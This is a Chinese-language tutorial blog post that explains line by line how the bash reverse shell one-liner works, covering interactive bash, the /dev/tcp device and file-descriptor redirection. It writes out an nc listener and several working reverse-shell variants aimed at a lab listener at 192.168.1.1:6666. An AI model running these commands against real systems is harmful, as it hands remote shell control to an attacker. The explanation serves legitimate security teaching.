作者:小剛
一位苦于資訊安全的萌新小白帽,記得關注給個贊,謝謝
本實驗僅用于資訊防禦教學,切勿用于其它用途
反彈shell解析
- bash反彈shell解析
-
- 測試環境
- 拆分語句了解一下
-
- 互動式
- 連接配接裝置
- 檔案描述符
- 合并輸入輸出
- 大合并
bash反彈shell解析
最基礎的反彈shell語句,這麼久隻會用,但不知道其中的奇妙之處
真是妙蛙種子被踢出了米奇妙妙屋。。。
bash -i >& /dev/tcp/192.168.1.1/6666 0>&1
測試環境
nc監聽主機
IP:192.168.1.1
nc -lvvp 6666
進行反彈shell主機
IP:192.168.1.131
拆分語句了解一下
互動式
bash -i
是打開一個互動式的bash
馬老師什麼是互動式?有問,有答,訓練有素(也就是有輸入有輸出)
#查詢目前shell指令是哪一種
ls -l /bin/sh
#檢視是否是互動式
echo $-
連接配接裝置
/dev/tcp/192.168.1.1/6666
是Linux中的一個特殊裝置,也算個檔案,打開這個就相當于對指定裝置發出了一個socket連接配接
使用tcp進行建立socket連接配接,然後可以讀寫這個socket連接配接中的資料。
同理tcp改為udp,就是udp連接配接。
檔案描述符
檔案描述符,是用來控制bash指令從哪輸入與輸出到哪的特殊符号
标準輸入(STDIN) 代碼0
重定向标準輸入 操作符< 預設輸入是鍵盤
标準輸出(STDOUT) 代碼1
重定向标準輸出 操作符>或者>> 預設輸出顯示器
标準錯誤輸出(STDERR) 代碼2
重定向錯誤标準輸出 操作符2>或者2>> 預設輸出顯示器
重定向标準輸出和标準錯誤輸出 操作符&> 将标準輸出和錯誤輸出定向到指定位置
bash -i > /dev/tcp/192.168.1.1/6666
#标準輸出重定向為裝置,沒指定輸入,是以預設從鍵盤輸入指令,結果輸出到指定的裝置(攻擊機)
bash -i < /dev/tcp/192.168.1.1/6666
#标準輸如重定向為裝置,沒指定标準輸出,是以預設從螢幕輸出結果,從指定裝置(攻擊機)輸入指令
bash -i < /dev/tcp/192.168.1.1/6666 > /dev/tcp/192.168.1.1/8888
#由于重定向了标準輸如和輸出,是以從指定裝置(攻擊機)6666端口輸入指令,從指定裝置(攻擊機)8888端口輸出結果
代碼2的标準錯誤輸出又是啥?看下面倆語句:
bash -i > /dev/tcp/192.168.1.1/6666
bash -i 2> /dev/tcp/192.168.1.1/6666
第一個語句是标準輸出重定向到裝置,也就是指令語句成功執行,傳回的結果在指定裝置顯示
第二個語句是标準錯誤輸出重定向到裝置,是指令執行失敗,傳回的報錯顯示在指定裝置
第二句比方:輸入ifconfig,成功執行,不會将結果顯示在攻擊機;輸入ipconfig,執行失敗,将執行失敗傳回的報錯顯示在攻擊機。
合并輸入輸出
當然在使用的是,不管是正确錯誤,我們都想在指定裝置輸出,就可以使用合并
n>&m 将輸出檔案n重定向到m
n<&m 将輸入檔案n重定向到m
單獨
>&
這個意思是重定向标準輸出和标準錯誤輸出到指定裝置
和
2>&1
基本一樣,但略有不同
bash -i 2>&1 > /dev/tcp/192.168.1.1/6666
bash -i > /dev/tcp/192.168.1.1/6666 2>&1
注意上面兩個的差别:
1原本是螢幕,2也是螢幕,2定向到1還是螢幕,1然後定向到裝置,2不會跟着1定向是以還是螢幕。
1原本是螢幕,定向到裝置變成了裝置,2又定向到1,是以跟着就定向到裝置。
這點細微的差距有什麼差別呢?
第一個語句,如果當你輸入一條錯誤指令,會在被攻擊主機顯示報錯内容
第二個語句,不管你正确錯誤,都會顯示在指定裝置上
然後輸入與輸出合并
bash -i > /dev/tcp/192.168.1.1/6666 0>&1
bash -i > /dev/tcp/192.168.1.1/6666 0<&1
1定向到裝置,0是鍵盤,0定向到1,也就是定向到了裝置
就成了我們要的結果,指定裝置(攻擊機)進行輸入,指定裝置(攻擊機)進行輸出
大合并
懂了原理,反彈語句就千變萬化了,隻要全定向到裝置就ok了。
bash -i >& /dev/tcp/192.168.1.1/6666 0>&1
bash -i > /dev/tcp/192.168.1.1/6666 2>&1 0>&1
bash -i < /dev/tcp/192.168.1.1/6666 2>&0 1>&0